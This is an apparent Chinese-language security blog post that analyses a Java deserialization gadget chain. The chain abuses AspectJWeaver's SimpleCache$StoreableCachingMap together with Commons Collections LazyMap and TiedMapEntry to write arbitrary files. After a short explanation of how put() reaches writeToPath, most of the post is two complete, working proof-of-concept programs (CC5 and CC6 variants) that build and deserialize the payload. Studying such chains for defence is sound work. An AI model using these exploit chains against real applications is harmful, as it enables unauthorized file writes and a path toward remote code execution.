AspectJWeaver 是 AspectJ 框架的一部分,是一个用于实现面向切面编程(POA)的工具。AspectJWeaver 提供了在 Java 程序中使用 AspectJ 的功能,并通过字节码操纵技术来织入切面代码到应用程序的目标类中。
这篇文章不聊怎么任意利用文件写入进而来RCE,只学习一下如何利用AspectJWeaver通过反序列化来进行任意文件写入。
依赖
1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>1.9.2</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>
|
链子寻找
这条链子也很简单,看到关键类SimpleCache$StoreableCachingMap:

这个类是继承的HashMap类,并且重写了HashMap的put方法。
这段代码的功能是将键值对添加到映射中。根据 value
的不同情况,可能会将路径设置为 “IDEM” 或使用 writeToPath
方法将键和值写入到某个路径中。然后,将键和路径添加到映射中,并将映射数据存储到持久化存储中。最后,返回添加结果。
那个条件判断就是检查 valueBytes 是否与 SimpleCache.SAME_BYTES
相等。如果相等,说明 value
是一个特定的字节数组(SimpleCache.SAME_BYTES ="IDEM".getBytes();
),则将 path 设置为 “IDEM”。
这里显然会进入到else,跟进writeToPath
方法:

它创建一个文件输出流对象,将字节数组写入到文件中。而且folder可控,这里就可以达成任意路径写文件的效果了。
那么由谁来触发StoreableCachingMap的put
方法呢?
刚过说了,StoreableCachingMap类是继承了HashMap类的,所以触发方法跟触发HashMap.put
的方法是一样的。这里最常见的方法就是利用LazyMap.get()
来触发,这在CC5和CC6链中用到过。

文件内容由factory.transform
方法返回,我们可以用ConstantTransformer直接写。

CC5/CC6链是用TiedMapEntry.getValue()
触发来LazyMap.get()
,也有CC1的AnnotationInvocationHandler动态代理触发LazyMap.get()
,但遗憾的是CC1get传入的key是调用的method,我们不可控,所以不能用于改链。

这里直接给出poc
CC5+AspectJWeaver poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.charset.StandardCharsets; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception { Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Constructor constructor = clazz.getDeclaredConstructor(String.class, int.class); constructor.setAccessible(true); HashMap map = (HashMap) constructor.newInstance("C:\\Users\\admin\\Desktop\\Aspectjweaver", 1);
ConstantTransformer transform = new ConstantTransformer("Infernity 1145141919810".getBytes(StandardCharsets.UTF_8));
Map<Object,Object> lazyMap = LazyMap.decorate(map,transform); TiedMapEntry tidmapentry = new TiedMapEntry(lazyMap, "1.txt");
BadAttributeValueExpException BadAttributeValueExpException = new BadAttributeValueExpException(null); setValue(BadAttributeValueExpException,"val", tidmapentry);
String a = serialize(BadAttributeValueExpException); unserialize(a); }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; }
public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
|

CC6+AspectJWeaver poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Constructor; import java.nio.charset.StandardCharsets; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception { Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Constructor constructor = clazz.getDeclaredConstructor(String.class, int.class); constructor.setAccessible(true); HashMap map = (HashMap) constructor.newInstance("C:\\Users\\admin\\Desktop\\Aspectjweaver", 1);
ConstantTransformer transform = new ConstantTransformer("Infernity 1145141919810".getBytes(StandardCharsets.UTF_8));
Map<Object,Object> lazyMap = LazyMap.decorate(map,transform); TiedMapEntry tidmapentry = new TiedMapEntry(lazyMap, "2.txt");
HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tidmapentry,"anything");
String a = serialize(map2); unserialize(a); }
public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; }
public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
|
这虽然在序列化的时候也会触发写文件,但是无伤大雅。反序列化的时候能触发就行。
参考文章:https://blog.csdn.net/uuzeray/article/details/136595841